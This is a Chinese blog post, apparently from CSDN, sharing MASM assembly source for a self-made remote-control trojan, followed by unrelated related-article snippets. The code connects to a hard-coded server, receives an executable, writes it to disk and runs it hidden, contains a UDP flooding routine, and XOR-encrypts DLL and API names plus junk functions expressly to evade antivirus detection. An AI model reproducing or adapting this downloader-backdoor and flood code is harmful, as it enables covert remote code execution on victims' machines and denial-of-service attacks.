精华内容
下载资源
问答
  • 自己几天MASM写的一个远控

    千次阅读 2015-04-27 16:11:07
     最先是看雪发的 新开空间我也没啥东西 只能拿这个凑数了 ;作者:落笔飞花笑百生 ;日期:2014/12/20 ...这个程序也没有了写下去的意思,该解决的都解决了我实在想不出来再写他具体能得到什么
    

    最先是在看雪发的  新开空间我也没啥东西 只能拿这个凑数了

    ;作者:落笔飞花笑百生

    ;日期:2014/12/20

    ;用处:练手

    ;写一个程序虽然很烂但是确实能学到很多,用汇编写程序能逼迫自己去学习以前高级语言中容易忽略的东西虽然还是不够。

    ;但是至少脱离了只能用别人封装好的库来写程序的恶性循环

    ;这个程序也没有了写下去的意思,该解决的都解决了我实在想不出来再写他具体能得到什么

    ;本来想把自己实现的getFUNCaddress加进去的,也没有这样做。

    ;DLL名称和函数名称由于直接这样写会被某些弱智杀软杀字符串没办法只能xor简单加密一下然后取地址再动态解密一下 这样过了表面

    ;二次开发的人注意:xor第一个字符不加密的


    include androidprotect.inc

    .code

    dipx byte  "192.168.0.101",0

    ;dipx byte "anyou5.com",0

    ganraoz proc

    ret


    ganraoz endp

    _CalcCheckSum   proc        _lpsz,_dwSize


                        local   @dwSize


     


                        pushad


                        mov     ecx,_dwSize


                    shr     ecx,1


                    xor     ebx,ebx


                    mov     esi,_lpsz


    ;********************************************************************


    ; 数据包校验和为每 16 位累加


    ;********************************************************************


                    cld


                    @@:


                    lodsw


                    movzx   eax,ax


                    add     ebx,eax


                    loop        @B


    ;********************************************************************


    ; 最后如果有单 8 位则继续累加


    ;********************************************************************


                    test        _dwSize,1


                    jz      @F


                    lodsb


                    movzx   eax,al


                    add     ebx,eax


                    @@:


    ;********************************************************************


    ; 将高 16 位并入低 16 位后取反输出


    ;********************************************************************


                    mov     eax,ebx


                    and     eax,0ffffh


                    shr     ebx,16


                    add     eax,ebx


                    not     ax


                    mov     @dwSize,eax


                    popad


                    mov     eax,@dwSize


                    ret


     


    _CalcCheckSum   endp

    udpattack proc

    invoke m_socket,AF_INET, SOCK_DGRAM, 17

    mov udpsock,eax

    mov udpSin.sin_family, AF_INET  

    invoke gethtons,udpport

    mov udpSin.sin_port,ax  

    invoke m_gethostbyname,offset udpip

    mov eax,[eax+12]

    mov eax,[eax]

    mov eax,[eax]

    invoke m_inet_ntoa,eax

    invoke m_inet_addr,eax

    mov udpSin.sin_addr.S_un.S_addr,eax

    invoke m_setsockopt,udpsock,SOL_SOCKET,SO_SNDBUF,offset udpbuf,sizeof udpbuf

    .while byte ptr [uptrue]==1

    invoke GetTickCount

    invoke dwtoa,eax,offset udpbuff

    invoke lstrlen,offset udpbuff

    invoke m_sendto,udpsock,offset udpbuff,eax,0,offset udpSin,sizeof udpSin

    .endw

    invoke m_closesocket,udpsock

    ret


    udpattack endp


    stringtodw proc string:dword,strsiz:dword

    ;日期:2014/12/23

    ;用处:字符串数字无差转换成DWORD

    ;作者:落笔飞花笑百生

    xor eax,eax

    mov edi,string

    xor ebx ,ebx

    xor esi,esi


    mov ecx,strsiz


    fuckmm:

    MOVZX ESI,BYTE PTR DS:[EDI]

    cmp esi,0

    je close

    LEA EAX,DWORD PTR DS:[EBX+EBX*4]

    LEA EBX,DWORD PTR DS:[ESI+EAX*2-30h]

    INC EDI

    loop fuckmm

    close:

    mov eax,ebx

    ret 8

    stringtodw endp

    xorstring proc dstring,dsize:dword

    ;解密字符串

    mov eax,dstring

    mov ecx,dsize

    @@:

    inc eax

    xor byte ptr [eax],5


    loop @B


    ret

    xorstring endp

    gethtons proc port :dword

    ;转换端口



    mov eax,dword ptr ss:[ebp+8]

    movzx ecx,ax

    movzx eax,cl

    shl eax,8

    shr ecx ,8

    or eax,ecx

    ret


    gethtons endp





    midstr proc a,b,cc,d:dword

    ;截取字符串

    push esi

    push edi


    xor eax,eax

    xor ebx,ebx

    mov eax,d

    mov ebx,cc

    sub eax,ebx

    mov ecx,eax

    cld

    mov esi,a

    add esi ,cc

    mov edi,b

    rep movsb

    pop esi

    pop edi

    ret


    midstr endp

    ganraoy proc


    ret


    ganraoy endp


    start proc

    ;入口

    invoke GetCommandLine

    call $+5

    call $+5

    call $+5



    jmp xaxa

    xaxa:

    call getproaddress

    invoke m_WSAStartup,0202h,offset WSAData

    .repeat

    invoke m_socket,AF_INET, SOCK_STREAM, IPPROTO_TCP

    .if eax!=INVALID_SOCKET


    mov hSock,eax

    mov Sin.sin_family, AF_INET  

    invoke gethtons,dport

    mov Sin.sin_port,ax  

    invoke m_gethostbyname,offset dipx

    mov eax,[eax+12]

    mov eax,[eax]

    mov eax,[eax]

    invoke m_inet_ntoa,eax

    invoke m_inet_addr,eax

    mov Sin.sin_addr.S_un.S_addr,eax

    invoke m_connect,hSock,addr Sin,sizeof Sin


    .endif

    recvloop:

    invoke RtlZeroMemory,offset  flag,sizeof flag

    invoke RtlZeroMemory,offset recvbuff,sizeof recvbuff

    invoke m_recv,hSock,offset recvbuff,sizeof recvbuff,0

    .while eax>0  &&eax!=INVALID_SOCKET &&eax!=SOCKET_ERROR 

    invoke midstr,offset recvbuff,offset flag,0,2

    invoke lstrcmpi,offset flag,offset xz

    cmp eax,0

    je xxz

    invoke midstr,offset recvbuff,offset flag,0,2

    invoke lstrcmpi,offset flag,offset pe

    cmp eax,0

    je fuckfile

    jmp recvloop

    ;写出PE文件

    fuckfile:

    invoke GetCurrentDirectory,260,offset currd

    invoke GetTickCount

    invoke dwtoa,eax,offset filename

    invoke lstrcat ,offset filename,$CTA0(".exe")

    invoke lstrcat,offset currd,offset xiegang

    invoke lstrcat,offset currd,offset filename

    ;处理要写出的文件名字和路径

    invoke DeleteFile,offset currd

    ;会以MZ开头的

    invoke CreateFile,addr currd,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL

    mov hfilehandle,eax

    invoke WriteFile,hfilehandle,offset recvbuff,sizeof recvbuff,offset oldwritebytes,NULL

    loopwrite:

    invoke RtlZeroMemory,offset recvbuff,sizeof recvbuff

    invoke m_recv,hSock,offset recvbuff,sizeof recvbuff,0

            invoke SetFilePointer,hfilehandle,NULL,NULL,FILE_END

            invoke WriteFile,hfilehandle,offset recvbuff,sizeof recvbuff,offset oldwritebytes,NULL

            invoke GetFileSize,hfilehandle,NULL

            mov writebytes,eax

           cmp eax,dword ptr [dFileSize]

            je close

            jmp loopwrite

            

    close:

    invoke CloseHandle,hfilehandle

    mov dword ptr [dFileSize],0;大小清空

    invoke RtlZeroMemory,offset recvbuff,sizeof recvbuff

    invoke WinExec,offset currd,SW_HIDE;传输完毕后执行!

    invoke m_send,hSock,offset filecs,sizeof filecs,0

    jmp recvloop;

    xxz:

    invoke lstrlen,offset recvbuff

    invoke midstr,offset recvbuff,offset dFileSize,2,eax

    invoke lstrlen,offset dFileSize

    invoke stringtodw,offset dFileSize,eax

    mov dword ptr [dFileSize],eax

    invoke m_send,hSock,offset getpe,sizeof getpe,0

    jmp recvloop

    .endw




    invoke m_closesocket,hSock

    invoke Sleep,10000

    .until CLOSE==TRUE

    invoke m_WSACleanup  


    start endp

    winmain proc

    invoke CreateThread,NULL,NULL,offset start,NULL,0,NULL;开启小马线程

    ret


    winmain endp

    dwtoa proc dwValue:DWORD, lpBuffer:DWORD

    ;整数转换为字符串

     

    nop

    nop

    nop

    nop

    nop

    nop

    nop

    nop


        push ebx

        push esi

        push edi


        mov eax, dwValue

        mov edi, [lpBuffer]


        or eax,eax

        jnz sign

        

      zero:

        mov word ptr [edi],30h

        jmp dw2asc

        

      sign:

        jns pos

        mov byte ptr [edi],'-'

        neg eax

        inc edi


      pos:      

        mov ecx,429496730

        mov esi, edi


        .while (eax > 0)

          mov ebx,eax

          mul ecx

          mov eax,edx

          lea edx,[edx*4+edx]

          add edx,edx

          sub ebx,edx

          add bl,'0'

          mov [edi],bl

          inc edi

        .endw


        mov byte ptr [edi], 0       ; terminate the string


        ; We now have all the digits, but in reverse order.


        .while (esi < edi)

          dec edi

          mov al, [esi]

          mov ah, [edi]

          mov [edi], al

          mov [esi], ah

          inc esi

        .endw


        dw2asc:


        pop edi

        pop esi

        pop ebx


        ret


    dwtoa endp

    ganraox proc

    push eax

    push eax

    pop eax

    pop eax

    mov eax,eax

    ret


    ganraox endp

    ganraoxx proc

    push eax

    push eax

    pop eax

    pop eax

    mov eax,eax

    ret


    ganraoxx endp

    getproaddress proc

    ;获取API地址

    invoke xorstring,offset ws32dll,sizeof ws32dll

    invoke xorstring,offset wstp,sizeof wstp

    invoke xorstring,offset sock,sizeof sock

    invoke xorstring,offset getby,sizeof getby

    invoke xorstring,offset inoa,sizeof inoa

    invoke xorstring,offset inaddr,sizeof inaddr

    invoke xorstring,offset cont,sizeof cont

    invoke xorstring,offset recvx,sizeof recvx

    invoke xorstring,offset colses,sizeof colses

    invoke xorstring,offset wcl,sizeof wcl

    invoke xorstring,offset sed,sizeof sed

    invoke xorstring,offset sot,sizeof sot

    invoke xorstring,offset sendtot,sizeof sendtot


    ;上面的CALL是解密字符串

    invoke CreateMutex,NULL,NULL,$TA0("bixanhuxakai")

    mov mxhand,eax

    invoke GetLastError

    .if eax== ERROR_ALREADY_EXISTS

    invoke CloseHandle,offset mxhand

    mov mxhand,0

    invoke ExitProcess,NULL

    .endif








    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset wstp

    mov m_WSAStartup,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset sock

    mov m_socket,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset getby

    mov m_gethostbyname,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset inoa

    mov m_inet_ntoa,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset inaddr

    mov m_inet_addr,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset cont

    mov m_connect,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset recvx

    mov m_recv,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset colses

    mov m_closesocket,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset wcl

    mov m_WSACleanup,eax

    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset sed

    mov m_send,eax


    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset sendtot

    mov m_sendto,eax


    invoke LoadLibrary,offset ws32dll

    invoke GetProcAddress,eax,offset sot

    mov m_setsockopt,eax

    ret


    getproaddress endp

    ganrao proc

    ret


    ganrao endp

    end winmain




    下面是INC文件


    .386

    .model flat,stdcall

    option casemap:none

    include windows.inc

    include user32.inc

    includelib user32.lib

    include kernel32.inc

    includelib kernel32.lib

    include C:\Users\巫师\Desktop\RadASM\masm32\macros\Strings.mac


    _WSAStartup2 typedef proto :dword,:dword

    _WSAStartup typedef ptr _WSAStartup2

    _socket2 typedef proto :dword,:dword,:dword

    _socket typedef ptr _socket2

    _gethostbyname2 typedef proto :dword

    _gethostbyname typedef ptr _gethostbyname2

    _inet_ntoa2 typedef proto :dword

    _inet_ntoa typedef ptr _inet_ntoa2

    _inet_addr2 typedef proto :dword

    _inet_addr typedef ptr _inet_addr2

    _connect2 typedef proto :dword,:dword,:dword

    _connect typedef ptr _connect2

    _recv2 typedef proto :dword,:dword,:dword,:dword

    _recv typedef ptr _recv2

    _closesocket2 typedef proto :dword

    _closesocket typedef ptr _closesocket2

    _WSACleanup2 typedef proto

    _WSACleanup typedef ptr _WSACleanup2

    _send2 typedef proto :dword,:dword,:dword,:dword

    _send typedef ptr _send2

    _sendto2 typedef proto :dword,:dword,:dword,:dword,:dword,:dword

    _sendto typedef ptr _sendto2

    _setsockopt2 typedef proto :dword,:dword,:dword,:dword,:dword

    _setsockopt typedef ptr _setsockopt2

    getproaddress proto 

    dwtoa proto :dword,:dword

    gethtons proto:dword

    .data?

    currd byte 260 dup (?)

    filename byte  50 dup (?) 

    ipsize byte 50 dup (?)

    recvbuff byte 1024 dup (?);1kb的缓存

    Sin      sockaddr_in <>

    ;UDP

    udpSin      sockaddr_in <>

    udpbuff byte  200 dup(?)

    udpbuf dd 00

    udpport dd 00

    udpip byte 50 dup (?)

    udpsock dd 00

    uptrue byte 01h

    ;UDP

    WSAData  WSADATA <>

    m_WSAStartup _WSAStartup ?

    m_socket _socket ?

    m_gethostbyname _gethostbyname ?

    m_inet_addr _inet_addr ?

    m_inet_ntoa _inet_ntoa ?

    m_connect _connect ?

    m_recv _recv ?

    m_closesocket _closesocket ?

    m_WSACleanup _WSACleanup ?

    m_send _send ?

    m_setsockopt _setsockopt ?

    m_sendto _sendto ?

    .data

    hfilehandle dd 00

    writebytes dd 00

    oldwritebytes dd 00

    dFileSize dd 00

    mxhand dd 00

    xz byte "XZ",0

    pe byte "MZ",0

    flag byte 5 dup (?)

    dport dword 666

    CLOSE BOOL FALSE

    filecs byte "FILECSWB!",0

    getpe byte "GETPE!",0

    xiegang byte "\",0

    hSock dd 00

    datalengh dd 00

    ws32dll byte 077h, 076h, 037h, 05Ah, 036h, 037h, 02Bh, 061h, 069h, 069h, 0005h

    xa byte 00,00

    wstp byte   0057h ,0056h ,0044h ,0056h ,0071h, 0064h ,0077h ,0071h ,0070h ,0075h ,0005h

    xb byte 00,00

    sock byte 073h ,06Ah ,066h ,06Eh ,060h ,0071h ,005h 

    xc byte 00,00

    getby byte 0067h ,0060h ,0071h ,006Dh ,006Ah ,0076h ,0071h ,0067h ,007Ch ,006Bh ,0064h ,068h ,060h ,005h


    xd byte 00,00

    inoa byte 0069h ,006Bh ,0060h ,0071h ,005Ah ,006Bh ,0071h ,006Ah ,0064h ,005h



    xe byte 00,00

    inaddr byte  0069h, 006Bh, 0060h ,0071h, 005Ah, 0064h ,0061h, 0061h, 0077h, 0005h  



    xf byte 00,00

    cont byte 0063h ,006Ah ,006Bh ,006Bh, 0060h, 0066h, 0071h ,0005h 



    xg byte 00,00

    recvx byte 0072h ,0060h ,0066h ,0073h ,0005h



    xh byte 00,00

    colses byte  0063h ,0069h ,006Ah ,0076h ,0060h ,0076h, 006Ah, 0066h ,006Eh ,0060h ,0071h ,0005h



    xi byte 00,00

    wcl byte  0057h, 0056h ,0044h, 0046h, 0069h ,060h ,0064h ,006Bh ,0070h ,0075h ,0005h



    xj byte 00,00

    sed byte   0073h, 0060h, 006Bh, 0061h, 0005h                             


    xk byte 00,00

    sot byte  073h,060h,071h,076h,06Ah,066h,06Eh,06Ah,075h,071h,005h

    xl byte 00,00

    sendtot byte  073h,060h,06Bh,061h,071h,06Ah,005h

    xm byte 00,00

    展开全文
  • 几天CSDN多个版块看到需要日期正则的帖子,所以整理了这篇文章,和大家一起讨论交流,如有遗漏或错误的地方,还请大家指正。 日期正则一般是对格式有要求,且数据不是直接由用户输入时使用。因应用场景的不同,...
  • 一切都正常的情况下我发现在日期的iput标签中使用ng-model怎么...解决办法就是查询前用jQuery来获取标签的value即可,其他办法大家自行研究。 if($("#endDate").val() != null &&$("#endDate").val()...

    在一切都正常的情况下我发现在日期的iput标签中使用ng-model怎么都绑定不上

    QQ截图20200322105522

    QQ截图20200322105630

    调试输出也都是空,后来经过查询是冲突导致的具体为什么也没太细看。解决办法就是查询前用jQuery来获取标签的value即可,其他办法大家自行研究。

    
                    if($("#endDate").val() != null &&$("#endDate").val() !=''){
                        $scope.fgroupRecord.endDate =$("#endDate").val();
                    }
                    if($("#beginDate").val() != null &&$("#beginDate").val() !=''){
                        $scope.fgroupRecord.beginDate =$("#beginDate").val();
                    }

    后台正常拿到数据

    QQ截图20200322110054

     

    展开全文
  • 几天CSDN多个版块看到需要日期正则的帖子,所以整理了这篇文章,和大家一起讨论交流,如有遗漏或错误的地方,还请大家指正。 日期正则一般是对格式有要求,且数据不是直接由用户输入时使用。因应用场景的不同,...
  • 是判定日期用的,所以格式是这样,也没有改动,就移植到了C++ 然而,出现了BUG  C++里面 00160000 的值是0xe000 , 160000 的值是0x27100 C#里面 00160000 和160000 都是0x27100 具体什么算的,...

    有一段从C#移植到C++的代码

    中间用到一个数,00160000

    是判定日期用的,所以格式是这样,也没有改动,就移植到了C++

    然而,出现了BUG

     C++里面  00160000 的值是0xe000 , 160000 的值是0x27100
    C#里面  00160000 和160000 都是0x27100
    具体按什么算的,暂时没找到答案。

    nozuonodie,先在此做备忘。

    展开全文
  • Ubuntu中有Lunar软件可以获取农历日期,但Fedora或CentOS中并没有类似软件,所以就想自己来实现一个,但网上其他语言写的一大把,如果再写没什么必要。所以就想shell来写一个。 2、功能及使用 功能:将具体...
  • 数据区包含某一字符的项的总和,该用什么公式 函数如何实现分组编码 【数值取整及进位】 取整数函数 数值取整 求余数的函数 四舍五入公式 对数字进行四舍五入 如何实现“见分进元” 四舍五入 如何四舍五入取两位小数 ...
  • EXCEL函数公式集

    热门讨论 2010-03-16 03:26:38
    数据区包含某一字符的项的总和,该用什么公式 函数如何实现分组编码 【数值取整及进位】 取整数函数 数值取整 求余数的函数 四舍五入公式 对数字进行四舍五入 如何实现“见分进元” 四舍五入 如何四舍五入取两位小数 ...
  • eas供应链dep案例集

    2017-11-18 22:32:39
    新增及调整字段 EASSCMA1P0025 销售出库单增加到期日期 客户很对委托代销的产品有个委托期限,希望出库单上增加“到期日期”,同时到期日期支持有权限的修改,审核后也可以修改。 "1. 销售出库单分录上面增加到期...
  • 最新Java面试宝典pdf版

    热门讨论 2011-08-31 11:29:22
    38、try {}里有一个return语句,那么紧跟这个try后的finally {}里的code会不会被执行,什么时候被执行,return还是后? 25 39、下面的程序代码输出的结果是多少? 25 40、final, finally, finalize的区别。 27 ...
  • Java面试宝典2010版

    2011-06-27 09:48:27
    38、try {}里有一个return语句,那么紧跟这个try后的finally {}里的code会不会被执行,什么时候被执行,return还是后? 39、下面的程序代码输出的结果是多少? 40、final, finally, finalize的区别。 41、...
  • 38、try {}里有一个return语句,那么紧跟这个try后的finally {}里的code会不会被执行,什么时候被执行,return还是后? 25 39、下面的程序代码输出的结果是多少? 25 40、final, finally, finalize的区别。 27 ...
  • php高级开发教程说明

    2008-11-27 11:39:22
    行是干什么用的,它们在什么条件下执行,它们所要求的设置。即使你缺乏背景知识,遇到了 一个错综复杂的算法,你也能很快看出它所从事的任务,以及它的风格。 举个例子,然后说“照着做”总是很容易的,但我想这一章...
  • fex-team.github.io.zip

    2019-07-19 09:06:32
    新文章编写时请先浏览 _drafts 目录,这里存放的是草稿,它不会首页显示,请参考里面的 2014-05-06-empty.md 文件,新建文件名要遵循这样的格式,以日期开头,后面接着是文章的对外 url 子路径,中间以 - 分隔,...
  • X-Scan v3.1

    2018-10-22 08:43:03
    “跳过没有响应的主机” - 如果X-Scan运行于NT4.0系统,只能通过ICMP Ping方式对目标主机进行检测,而WIN2K以上版本的Windows系统下,若具备管理员权限则通过TCP Ping的方式进行存活性检测。 “跳过没有检测到...
  • excel的使用

    2012-11-25 17:06:01
    再举一个例子,假设正在进行帐目的结算,想要蓝色显示结余超过$50,000的帐目,负数值红色显示括号中,其余的值缺省颜色显示,可以创建如下的格式: “[蓝色][>50000] $#,##0.00_);[红色][]( $#,##0.00); $#...
  • JAVA面试题最全集

    2010-03-13 13:09:10
    多线程,用什么关键字修饰同步方法?stop()和suspend()方法为何不推荐使用? 59.使用socket建立客户端与服务器的通信的过程 60.JAVA语言国际化应用,Locale类,Unicode 61.描述反射机制的作用 62.如何读写一个...
  • 实际上我是想说,对于一个DBA来讲,当你拿到一个数据库的时候,你首先需要做的是最短的时间来了解一下跑这个库上的是一个什么系统,比如是在线事务(OLTP)系统还是在线分析(OLAP)系统,这对于你做出性能上的...
  • X-Scan

    千次下载 热门讨论 2008-04-04 15:19:43
    “显示详细进度” - 将主界面普通信息栏中显示详细的扫描过程 “跳过没有响应的主机” - 如果X-Scan运行于NT4.0系统,只能通过ICMP Ping方式对目标主机进行检测,而WIN2K以上版本的Windows系统下,若...
  • 并利用具体的例子来全面介绍每个特性,不仅讨论了各个特性是什么,还说明了它是如何工作的,如何使用这个特性来开发软件,以及有关的常见陷阱。  本书面向所有oracle 数据库应用开发人员和dba。 作译者 作者  ...
  • 现在的新型手机如摩托罗拉系列包括V988、V60等)无论免拆机软件维修仪还是拆机软件维修仪,写资料都要查看手机的版本,即使是同一类型的手机,由于其生产日期和产地的不同,其版本号可能不同,所以,维修...
  • 关於通讯的指令.........................................................................................................21 十. 编译器( Compiler ).......................................................
  • Windows XP拷贝完文件到硬盘,第一次重新启动计算机,必须把光盘从光驱中取出,否则系统仍会 从光盘启动并会循环执行安装程序。 方法2: 然后,按任意键进入光驱启动模式,加载Mini版本的操作系统。 然后,按...
  • 光盘出租管理

    2006-03-16 00:00:00
    操作员弹出的窗口中填入借盘人的姓名、所押物品、本次所付租金和备注等信息,并选择所出租的光盘(即所出租光盘的编号打个钩),当用户确认了所填写的信息,则点击“确认借此光盘”。如果用户反悔,则点击“不...
  • C#微软培训教材(高清PDF)

    千次下载 热门讨论 2009-07-30 08:51:17
    4.2 引 类 型 .33 4.3 装箱和拆箱 .39 4.4 小 结 .42 第五章 变量和常量 .44 5.1 变 量 .44 5.2 常 量 .46 5.3 小 结 .47 第六章 类 型 转 换 .48 6.1 隐式类型转换 .48 6.2 显式类型转换 .53 ...
  • PowerShadow(影子系统)

    2008-10-25 07:53:32
    过了这个日期, 软体便无法再使用, 很多时就算移除软体重新安装结果都是一样, 这是一个极大的麻烦, 如果想软体永久试用的话, 那么下次安装这类麻烦软体时, 可以Shadow Mode中安装, 完一两次, 便返回原系统, 因为...
  • C#微软培训资料

    2014-01-22 14:10:17
    4.2 引 类 型 .33 4.3 装箱和拆箱 .39 4.4 小 结 .42 第五章 变量和常量 .44 5.1 变 量 .44 5.2 常 量 .46 5.3 小 结 .47 第六章 类 型 转 换 .48 6.1 隐式类型转换 .48 6.2 显式类型转换 .53 ...
  • java常用工具类的使用

    热门讨论 2012-03-19 20:11:37
    SimpleDateFormat解析日期的时候需要处理其中的ParseException异常。  数字格式化 对数字的格式化,程序处理中也是非常常用的,数字格式化主要对小数点位数,表示的形式(比如:百分数表示)等格式处理。...
  • 我一直跟大家说,学习SQL编程最重要的就是要摒弃原有的过程式编程,但对于那些一直都以文件和过程代码的方式来思考的人们而言,仅仅这样说不行,还得具体说明如何采用声明式关系语言来完成相关工作。因此我编写了...
  • 本书沿用了一本书业已成功的教程模式和组织结构,除了MySQL以外,不其他内容上过多纠缠。书从简单的数据检索开始,逐步进入一些复杂的内容,包括联结的使用、子查询、正则表达式和基于全文本的搜索、存储过程、...

空空如也

空空如也

1 2 3 4
收藏数 71
精华内容 28
关键字:

在具体日期前用什么